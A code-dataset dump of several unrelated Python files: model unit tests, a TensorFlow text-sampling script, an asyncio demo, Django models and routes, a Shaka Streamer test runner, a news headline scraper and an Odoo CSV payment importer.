def test_note_constructor(self):\n expected_data = {\n 'name': 'test_name',\n 'short_text': 'short text',\n 'text': 'text',\n 'link': 'test link'\n }\n\n instance = Note(**expected_data)\n for attr in expected_data:\n self.assertEqual(getattr(instance, attr), expected_data[attr])\n\n def test_tag_constructor(self):\n expected_data = {\n 'name': 'tag_name',\n 'slug': 'tag_slug'\n }\n\n instance = Tag(**expected_data)\n for attr in expected_data:\n self.assertEqual(getattr(instance, attr), expected_data[attr])\n\n\ndef _init_testing_db():\n from sqlalchemy import create_engine\n engine = create_engine('sqlite://')\n from core.models import (\n DBSession,\n Base,\n )\n\n DBSession.configure(bind=engine)\n Base.metadata.create_all(engine)\n\n return DBSession", "sub_path": "notes/tests/test_models.py", "file_name": "test_models.py", "file_ext": "py", "file_size_in_byte": 1122, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "unittest.TestCase", "line_number": 5, "usage_type": "attribute"}, {"api_name": "models.Note", "line_number": 20, "usage_type": "call"}, {"api_name": "models.Tag", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.create_engine", "line_number": 37, "usage_type": "call"}, {"api_name": "core.models.DBSession.configure", "line_number": 43, "usage_type": "call"}, {"api_name": "core.models.DBSession", "line_number": 43, "usage_type": "name"}, {"api_name": "core.models.Base.metadata.create_all", "line_number": 44, "usage_type": "call"}, {"api_name": "core.models.Base.metadata", "line_number": 44, "usage_type": "attribute"}, {"api_name": "core.models.Base", "line_number": 44, "usage_type": "name"}, {"api_name": "core.models.DBSession", "line_number": 46, "usage_type": "name"}]} +{"seq_id": "552940130", "text": "from __future__ import print_function\nimport numpy as np\nimport tensorflow as tf\n\nimport time\nimport os\nfrom six.moves import cPickle\n\nfrom utils import TextLoader\nfrom model import Model\n\nfrom six import text_type\n\nclass arguments: #Generate the arguments class\n save_dir= 'save'\n n=1000\n prime='x:1\\n'\n sample=1\n \ndef main():\n args = arguments() \n sample(args) #Pass the argument object\n\ndef sample(args):\n with open(os.path.join(args.save_dir, 'config.pkl'), 'rb') as f:\n saved_args = cPickle.load(f) #Load the config from the standard file\n with open(os.path.join(args.save_dir, 'chars_vocab.pkl'), 'rb') as f:\n chars, vocab = cPickle.load(f) #Load the vocabulary\n model = Model(saved_args, True) #Rebuild the model\n with tf.Session() as sess:\n tf.initialize_all_variables().run() \n saver = tf.train.Saver(tf.all_variables()) \n ckpt = tf.train.get_checkpoint_state(args.save_dir) #Retrieve the chkpoint\n if ckpt and ckpt.model_checkpoint_path:\n saver.restore(sess, ckpt.model_checkpoint_path) #Restore the model\n print(model.sample(sess, chars, vocab, args.n, args.prime, args.sample))\n #Execute the model, generating a n char sequence\n #starting with the prime sequence\nif __name__ == '__main__':\n main()\n", "sub_path": "7/Code/sample.py", "file_name": "sample.py", "file_ext": "py", "file_size_in_byte": 1341, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "six.moves.cPickle.load", "line_number": 26, "usage_type": "call"}, {"api_name": "six.moves.cPickle", "line_number": 26, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "six.moves.cPickle.load", "line_number": 28, "usage_type": "call"}, {"api_name": "six.moves.cPickle", "line_number": 28, "usage_type": "name"}, {"api_name": "model.Model", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 30, "usage_type": "call"}, {"api_name": "tensorflow.initialize_all_variables", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tensorflow.all_variables", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.train.get_checkpoint_state", "line_number": 33, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 33, "usage_type": "attribute"}, {"api_name": "model.sample", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "134047202", "text": "import asyncio, time\r\n\r\nasync def consumer(q):\r\n print('consumer starts.')\r\n while True:\r\n \r\n item = await q.get()\r\n \r\n if item is None:\r\n q.task_done() # Indicate that a formerly enqueued task is complete.\r\n break\r\n else:\r\n await asyncio.sleep(1) # take 1s to consume\r\n print('consume %d' % item)\r\n q.task_done()\r\n \r\n print('consumer ends.')\r\n\r\nasync def producer(q):\r\n print('producer starts.')\r\n \r\n for i in range(5):\r\n \r\n await asyncio.sleep(1) # take 1s to produce\r\n \r\n print('produce %d' % i)\r\n await q.put(i)\r\n \r\n await q.put(None)\r\n \r\n await q.join() # Block until all items in the queue have been gotten and processed.\r\n print('producer ends.')\r\n \r\n\r\nq = asyncio.Queue(maxsize=10)\r\nt0 = time.time()\r\nloop = asyncio.get_event_loop()\r\ntasks = [producer(q), consumer(q)]\r\nloop.run_until_complete(asyncio.wait(tasks))\r\nloop.close()\r\nprint(time.time() - t0, \" s\")", "sub_path": "week11/进程线程协程代码示例/demo_coroutine_producer_consumer.py", "file_name": "demo_coroutine_producer_consumer.py", "file_ext": "py", "file_size_in_byte": 1044, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "asyncio.sleep", "line_number": 13, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 24, "usage_type": "call"}, {"api_name": "asyncio.Queue", "line_number": 35, "usage_type": "call"}, {"api_name": "time.time", "line_number": 36, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 37, "usage_type": "call"}, {"api_name": "asyncio.wait", "line_number": 39, "usage_type": "call"}, {"api_name": "time.time", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "294569269", "text": "from django.db import models\nfrom django.conf import settings\n\n\nfrom clients.utils import get_client_company_logo_dir\nfrom phonenumber_field.modelfields import PhoneNumberField\nfrom users.models import Company\n\n\nclass Client(models.Model):\n \"\"\" Create database model for client\n \"\"\"\n archive = models.BooleanField(default=False)\n client_company = models.CharField(max_length=100)\n client_company_logo = models.ImageField(upload_to=get_client_company_logo_dir, \n null=True, \n blank=True\n )\n company = models.ForeignKey(Company, on_delete=models.SET_NULL, null=True)\n date_created = models.DateTimeField(auto_now_add=True)\n date_updated = models.DateTimeField(auto_now=True)\n email = models.EmailField(max_length=255)\n first_name = models.CharField(max_length=50)\n invoiced = models.BooleanField(default=False)\n last_name = models.CharField(max_length=50)\n mobile = PhoneNumberField()\n owner = models.ForeignKey(settings.AUTH_USER_MODEL, \n on_delete=models.CASCADE, \n related_name='client', \n default=''\n )\n prefix = models.CharField(max_length=10, null=True, blank=True)\n\n class Meta:\n unique_together = ((\"client_company\", \"company\"),(\"email\",\"company\"),(\"mobile\",\"company\"))\n\n def __str__(self):\n return f\"{self.client_company}\"\n\n def get_prefix(self):\n return self.client_company[:3]\n\n def full_name(self):\n return f\"{self.first_name} {self.last_name}\"", "sub_path": "clients/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 1662, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.db.models.Model", "line_number": 10, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 15, "usage_type": "name"}, {"api_name": "clients.utils.get_client_company_logo_dir", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 19, "usage_type": "call"}, {"api_name": "users.models.Company", "line_number": 19, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.SET_NULL", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.db.models.DateTimeField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.EmailField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 23, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 24, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 24, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 25, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 25, "usage_type": "name"}, {"api_name": "phonenumber_field.modelfields.PhoneNumberField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 27, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 27, "usage_type": "name"}, {"api_name": "django.conf.settings.AUTH_USER_MODEL", "line_number": 27, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 27, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "66259712", "text": "#!/usr/bin/env python3\n#\n# Copyright 2019 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\nimport flask\nimport glob\nimport json\nimport os\nimport re\nimport shutil\nimport subprocess\nimport sys\nimport time\nimport threading\nimport urllib\n\nfrom streamer.controller_node import ControllerNode\n\nOUTPUT_DIR = 'output_files/'\nTEST_DIR = 'test_assets/'\nCLOUD_TEST_ASSETS = (\n 'https://storage.googleapis.com/shaka-streamer-assets/test-assets/')\n\n# Changes relative path to where this file is.\nos.chdir(os.path.dirname(__file__))\ncontroller = None\n\napp = flask.Flask(__name__, static_folder=OUTPUT_DIR)\n# Stops browser from caching files to prevent cross-test contamination.\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\n\ndef cleanupFiles():\n # Check if the directory for outputted Packager files exists, and if it\n # does, delete it and remake a new one.\n if os.path.exists(OUTPUT_DIR):\n shutil.rmtree(OUTPUT_DIR)\n os.mkdir(OUTPUT_DIR)\n\ndef hasSegment(representation):\n return re.search('')\n while missing_segment:\n time.sleep(1)\n with open(dash_path) as dash_file:\n missing_segment = False\n for representation in pattern.finditer(dash_file.read()):\n if not hasSegment(representation):\n missing_segment = True\n\ndef hlsReadyStreamCount(stream_list):\n init_count = 0\n for stream_path in stream_list:\n with open(stream_path) as stream_file:\n if '#EXTINF' in stream_file.read():\n init_count += 1\n return init_count\n\ndef waitHlsManifest(hls_path):\n # Does not read manifest until it is created.\n while not os.path.exists(hls_path):\n time.sleep(1)\n\n # Parsing master playlist to see how many streams there are.\n stream_pattern = re.compile('stream_\\d+\\.m3u8')\n with open(hls_path) as hls_file:\n stream_count = len(set(stream_pattern.findall(hls_file.read())))\n\n # Waiting until the correct number of streams exist.\n stream_path_glob = OUTPUT_DIR + 'stream_*.m3u8'\n while len(glob.glob(stream_path_glob)) != stream_count:\n time.sleep(1)\n\n # Waiting until each stream has enough segments.\n stream_list = glob.glob(stream_path_glob)\n while hlsReadyStreamCount(stream_list) != stream_count:\n time.sleep(1)\n\n@app.route('/start', methods = ['POST'])\ndef start():\n global controller\n if controller is not None:\n return createCrossOriginResponse(\n status=403, body='Instance already running!')\n cleanupFiles()\n\n # Receives configs from the tests to start Shaka Streamer.\n configs = json.loads(flask.request.data)\n\n controller = ControllerNode()\n try:\n controller.start(OUTPUT_DIR, configs['input_config'],\n configs['pipeline_config'])\n except:\n # If the controller throws an exception during startup, we want to call\n # stop() to shut down any external processes that have already been started.\n # Then, re-raise the exception.\n controller.stop()\n raise\n\n return createCrossOriginResponse()\n\n@app.route('/stop')\ndef stop():\n global controller\n if controller is not None:\n controller.stop()\n controller = None\n cleanupFiles()\n return createCrossOriginResponse()\n\n@app.route('/output_files/', methods = ['GET','OPTIONS'])\ndef send_file(filename):\n if controller.is_vod():\n # If streaming mode is vod, needs to wait until packager is completely\n # done packaging contents.\n while controller.is_running():\n time.sleep(1)\n else:\n # If streaming mode is live, needs to wait for specific content in\n # manifest until it can be loaded by the player.\n if filename == 'output.mpd':\n waitDashManifest(OUTPUT_DIR + 'output.mpd')\n elif filename == 'master_playlist.m3u8':\n waitHlsManifest(OUTPUT_DIR + 'master_playlist.m3u8')\n\n # Sending over requested files.\n try:\n response = flask.send_file(OUTPUT_DIR + filename);\n except FileNotFoundError:\n response = flask.Response(response='File not found', status=404)\n\n response.headers.add('Access-Control-Allow-Origin', '*')\n response.headers.add('Access-Control-Allow-Headers', 'RANGE')\n return response\n\ndef fetch_cloud_assets():\n file_list = [\n 'BigBuckBunny.1080p.mp4',\n 'Sintel.2010.720p.Small.mkv',\n 'Sintel.2010.Arabic.vtt',\n 'Sintel.2010.Chinese.vtt',\n 'Sintel.2010.English.vtt',\n 'Sintel.2010.Esperanto.vtt',\n 'Sintel.2010.French.vtt',\n 'Sintel.2010.Spanish.vtt',\n ]\n\n # Downloading all the assests for tests.\n for file in file_list:\n if not os.path.exists(TEST_DIR + file):\n response = urllib.request.urlretrieve(CLOUD_TEST_ASSETS +\n file,\n TEST_DIR + file)\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--runs', default=1, type=int,\n help='Number of trials to run')\n parser.add_argument('--reporters', nargs='+',\n help='Enables specified reporters in karma')\n args = parser.parse_args()\n\n # Install test dependencies.\n subprocess.check_call(['npm', 'install'])\n\n # Fetch streams used in tests.\n if not os.path.exists(TEST_DIR):\n os.mkdir(TEST_DIR)\n\n fetch_cloud_assets()\n\n # Start up flask server on a thread.\n # Daemon is set to True so that this thread automatically gets\n # killed when exiting main. Flask does not have any clean alternatives\n # to be killed.\n threading.Thread(target=app.run, daemon=True).start()\n\n fails = 0\n trials = args.runs\n print('Running', trials, 'trials')\n # Start up karma.\n for i in range(trials):\n # Start up karma.\n karma_args = [\n 'node_modules/karma/bin/karma',\n 'start',\n 'tests/karma.conf.js',\n # DRM currently is not compatible with headless, so it's run in Chrome.\n # Linux: If you want to run tests as \"headless\", wrap it with \"xvfb-run -a\".\n '--browsers', 'Chrome',\n '--single-run',\n ]\n\n if args.reporters:\n converted_string = ','.join(args.reporters)\n karma_args += [\n '--reporters',\n converted_string,\n ]\n # If the exit code was not 0, the tests in karma failed or crashed.\n if subprocess.call(karma_args) != 0:\n fails += 1\n\n print('\\n\\nNumber of failures:', fails, '\\nNumber of trials:', trials)\n print('\\nSuccess rate:', 100 * (trials - fails) / trials, '%')\n return fails\n\nif __name__ == '__main__':\n # Exit code based on test results from subprocess call.\n sys.exit(main())\n", "sub_path": "run_end_to_end_tests.py", "file_name": "run_end_to_end_tests.py", "file_ext": "py", "file_size_in_byte": 7586, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.chdir", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 49, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 50, "usage_type": "call"}, {"api_name": "re.search", "line_number": 53, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 65, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 70, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 90, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 93, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 99, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 100, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 103, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 105, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 116, "usage_type": "attribute"}, {"api_name": "streamer.controller_node.ControllerNode", "line_number": 118, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 146, "usage_type": "call"}, {"api_name": "flask.send_file", "line_number": 157, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 159, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "urllib.request.urlretrieve", "line_number": 180, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 180, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 185, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 196, "usage_type": "call"}, {"api_name": "os.path", "line_number": 196, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 197, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 205, "usage_type": "call"}, {"api_name": "subprocess.call", "line_number": 230, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 239, "usage_type": "call"}]} +{"seq_id": "412256397", "text": "from django.urls import path, include\nfrom . import views\nfrom django.views.generic import RedirectView\n\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('sivert/call_click/', views.call_click),\n path('sivert/update_boost/', views.update_boost),\n path('register/', views.register, name='register'),\n path('accounts/profile/', RedirectView.as_view(pattern_name=\"index\")),\n]\n", "sub_path": "dima_sivert/dima/sivert/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 400, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.views.generic.RedirectView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "django.views.generic.RedirectView", "line_number": 11, "usage_type": "name"}]} +{"seq_id": "247120225", "text": "from bs4 import BeautifulSoup\r\nimport urllib.request\r\nimport json\r\n\r\nurlnumber = 2\r\nlink = []\r\n\r\ndef get_data():\r\n search = input(\"Que voulez vous chercher : \")\r\n urls = input(\"Combien de page voulez vous fetcher ? :\")\r\n urls = int(urls)\r\n \r\n for url in range(urls):\r\n urlpage = \"https://www.bfmtv.com/politique/page\"\r\n global urlnumber\r\n urlpage = urlpage + str(urlnumber) + \"/\"\r\n print(\"fetching page \" + str(urlnumber))\r\n try:\r\n page = urllib.request.urlopen(urlpage)\r\n except:\r\n print('Erreur 404')\r\n break\r\n \r\n soup = BeautifulSoup(page, \"html.parser\")\r\n articles = soup.find_all(\"article\", class_=\"content_item\")\r\n\r\n for article in articles:\r\n data = article.find(\"h2\", class_=\"content_item_title\")\r\n articleSTR = str(data)\r\n linkvalidate = articleSTR.replace(\"

    \", \"\").replace(\"

    \", \"\")\r\n if linkvalidate.find(search) != -1:\r\n global link\r\n link.extend([linkvalidate])\r\n else:\r\n pass\r\n with open(\"result.json\", \"w\", encoding='utf-8') as f:\r\n json.dump(link, f, indent=4, ensure_ascii=False)\r\n with open(\"result.json\", \"r\", encoding='utf-8') as f:\r\n link = json.load(f) \r\n urlnumber += 1\r\n \r\n \r\nget_data()", "sub_path": "index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 1277, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "urllib.request.request.urlopen", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 19, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 19, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 37, "usage_type": "call"}, {"api_name": "json.load", "line_number": 39, "usage_type": "call"}]} +{"seq_id": "162906347", "text": "# -*- coding: utf-8 -*-\nfrom openerp import models, fields, api\nfrom openerp.exceptions import ValidationError\nimport base64\nimport csv\nfrom io import *\nimport logging\nfrom datetime import date\n_logger = logging.getLogger(__name__)\n\n\n# diario -> Importacion academico, por compañia\nclass ImportCobrosAcademica(models.TransientModel):\n _name = 'import.cobros.academica'\n data = fields.Binary('Archivo', required=True)\n name = fields.Char('Nombre del archivo')\n delimeter = fields.Char('Delimitador', default=',')\n company_id = fields.Many2one(\n 'res.company',\n string='Compañia',\n default=lambda self: self.env.user.company_id,\n readonly=True\n )\n\n def _comprobacion_cabecera(self, keys):\n _logger.info(keys)\n state = True\n if 'tipo' not in keys:\n state = False\n if 'codformapago' not in keys:\n state = False\n if 'fecha' not in keys:\n state = False\n if 'nofactura' not in keys:\n state = False\n if 'alumno' not in keys:\n state = False\n if 'niftitular' not in keys:\n state = False\n if 'importe' not in keys:\n state = False\n return state\n\n def _crear_asiento(self, diario_id):\n vals = {\n 'journal_id': diario_id,\n 'company_id': self.company_id.id,\n 'date': fields.Date.context_today(self),\n 'ref': 'Migración académica, ' + str(fields.Datetime.now())\n }\n return self.env['account.move'].create(vals)\n\n def _crear_apuntes(self, values, asiento, cuentas):\n fecha = date(\n year=int(values['fecha'][:10].split('/')[2]),\n month=int(values['fecha'][:10].split('/')[1]),\n day=int(values['fecha'][:10].split('/')[0]))\n vals = {\n 'name': values['nofactura']+', '+values['alumno']+', '+values['niftitular'],\n 'journal_id': asiento.journal_id.id,\n 'move_id': asiento.id,\n 'company_id': self.company_id.id,\n 'account_id': cuentas[values['codformapago']]['debe'],\n 'debit': float(values['importe'].replace(',', '.')) or 0.0,\n 'credit': 0.0,\n 'date': fecha,\n 'date_maturity': fecha,\n }\n partner = False\n if values['niftitular'] != '':\n partner_aux = self.env['res.partner'].search([\n ('company_id', '=', self.company_id.id),\n ('vat', 'like', values['niftitular'])\n ])\n if len(partner_aux) == 1:\n partner = partner_aux.id\n if not partner and values['alumno']:\n partner_aux = self.env['res.partner'].search([\n ('company_id', '=', self.company_id.id),\n ('name', 'like', values['alumno'])\n ])\n if len(partner_aux) == 1:\n partner = partner_aux.id\n vals['partner_id'] = partner\n self.env['account.move.line'].create(vals)\n vals['account_id'] = cuentas[values['codformapago']]['haber']\n vals['credit'] = float(values['importe'].replace(',', '.')) or 0.0\n vals['debit'] = 0.0\n self.env['account.move.line'].create(vals)\n\n def _search_cuentas(self):\n res = {}\n cuentas_clas = self.env['account.account']\n res['DO'] = {\n 'debe': cuentas_clas.search([\n ('code', '=', '431000'),\n ('company_id', '=', self.company_id.id)\n ], limit=1).id,\n 'haber': cuentas_clas.search([\n ('code', '=', '430000'),\n ('company_id', '=', self.company_id.id)\n ], limit=1).id}\n res['DT'] = {\n 'debe': cuentas_clas.search([\n ('code', '=', '555013'),\n ('company_id', '=', self.company_id.id)\n ], limit=1).id,\n 'haber': res['DO']['haber']}\n res['EF'] = {\n 'debe': cuentas_clas.search([\n ('code', '=', '555011'),\n ('company_id', '=', self.company_id.id)\n ], limit=1).id,\n 'haber': res['DO']['haber']}\n res['TR'] = {\n 'debe': cuentas_clas.search([\n ('code', '=', '555012'),\n ('company_id', '=', self.company_id.id)\n ], limit=1).id,\n 'haber': res['DO']['haber']}\n res[''] = {\n 'debe': res['DO']['haber'],\n 'haber': cuentas_clas.search([\n ('code', '=', '431002'),\n ('company_id', '=', self.company_id.id)\n ], limit=1).id}\n return res\n\n @api.multi\n def action_import(self):\n if not self.data:\n raise ValidationError(\"Se tiene que seleccionar una archivo!\")\n # Decode the file data\n data = base64.b64decode(self.data)\n file_input = cStringIO.StringIO(data)\n file_input.seek(0)\n reader_info = []\n if self.delimeter:\n delimeter = str(self.delimeter)\n else:\n delimeter = ','\n reader = csv.reader(file_input, delimiter=delimeter,\n lineterminator='\\r\\n')\n try:\n reader_info.extend(reader)\n except Exception:\n raise ValidationError(\"El fichero no es valido!\")\n keys = reader_info[0]\n # Update column names\n keys_init = reader_info[0]\n keys = []\n for k in keys_init:\n temp = k.replace(' ', '_')\n keys.append(temp.lower())\n if self._comprobacion_cabecera(keys):\n del reader_info[0]\n values = {}\n # Import data to temporary table\n diario_id = self.env['account.journal'].search([\n ('name', 'like', 'Importación académico %'),\n ('company_id', '=', self.company_id.id)\n ], limit=1).id or False\n if not diario_id:\n raise ValidationError(\"No se encuentra el diario de importacion.\")\n asiento = self._crear_asiento(diario_id)\n if not asiento:\n raise ValidationError(\"No se ha creado bien el asiento!\")\n cuentas = self._search_cuentas()\n if not cuentas:\n raise ValidationError(\"No se han podido encontrar las cuentas.\")\n for i in range(len(reader_info)):\n try:\n field = reader_info[i]\n values = dict(zip(keys, field))\n _logger.info(values)\n if values['alumno'] != '' and values['niftitular'] != '':\n if values['fecha'] != '':\n self._crear_apuntes(values, asiento, cuentas)\n else:\n raise ValidationError(\"La linea \"+str(i+1)+\", no tiene fecha!\")\n else:\n raise ValidationError(\"La linea \"+str(i+1)+\", no tiene nombre ni dni!\")\n except Exception:\n raise ValidationError(\"Error en la linea: \" + str(i+1)\n + '.')\n else:\n raise ValidationError(\"Las cabeceras no son correctas! \\n Son: \\n\" + str(keys)\n + '\\n Deben ser: \\n tipo, codformapago, fecha, nofactura, alumno, niftitular, importe')\n return {'type': 'ir.actions.act_window_close'}\n", "sub_path": "modules/isep_custom/wizard/import_cobros_academica.py", "file_name": "import_cobros_academica.py", "file_ext": "py", "file_size_in_byte": 7427, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "openerp.models.TransientModel", "line_number": 13, "usage_type": "attribute"}, {"api_name": "openerp.models", "line_number": 13, "usage_type": "name"}, {"api_name": "openerp.fields.Binary", "line_number": 15, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 15, "usage_type": "name"}, {"api_name": "openerp.fields.Char", "line_number": 16, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 16, "usage_type": "name"}, {"api_name": "openerp.fields.Char", "line_number": 17, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 17, "usage_type": "name"}, {"api_name": "openerp.fields.Many2one", "line_number": 18, "usage_type": "call"}, {"api_name": "openerp.fields", "line_number": 18, "usage_type": "name"}, {"api_name": "openerp.fields.Date.context_today", "line_number": 48, "usage_type": "call"}, {"api_name": "openerp.fields.Date", "line_number": 48, "usage_type": "attribute"}, {"api_name": "openerp.fields", "line_number": 48, "usage_type": "name"}, {"api_name": "openerp.fields.Datetime.now", "line_number": 49, "usage_type": "call"}, {"api_name": "openerp.fields.Datetime", "line_number": 49, "usage_type": "attribute"}, {"api_name": "openerp.fields", "line_number": 49, "usage_type": "name"}, {"api_name": "datetime.date", "line_number": 54, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 132, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 134, "usage_type": "call"}, {"api_name": "csv.reader", "line_number": 142, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 147, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 164, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 167, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 170, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 180, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 182, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 184, "usage_type": "call"}, {"api_name": "openerp.exceptions.ValidationError", "line_number": 187, "usage_type": "call"}, {"api_name": "openerp.api.multi", "line_number": 129, "usage_type": "attribute"}, {"api_name": "openerp.api", "line_number": 129, "usage_type": "name"}]} +{"seq_id": "29224130", "text": "# -*- coding: utf-8 -*-\n\"\"\"\n@description: 爬虫通用操作类\n@author:XuMing\n\"\"\"\nfrom __future__ import print_function # 兼容python3的print写法\nfrom __future__ import unicode_literals # 兼容python3的编码处理\n\nimport cookielib\nimport logging\nimport os\nimport re\nimport urllib\nimport urllib2\n\n\nclass Common(object):\n def __init__(self):\n # init params\n self.url_path = None\n 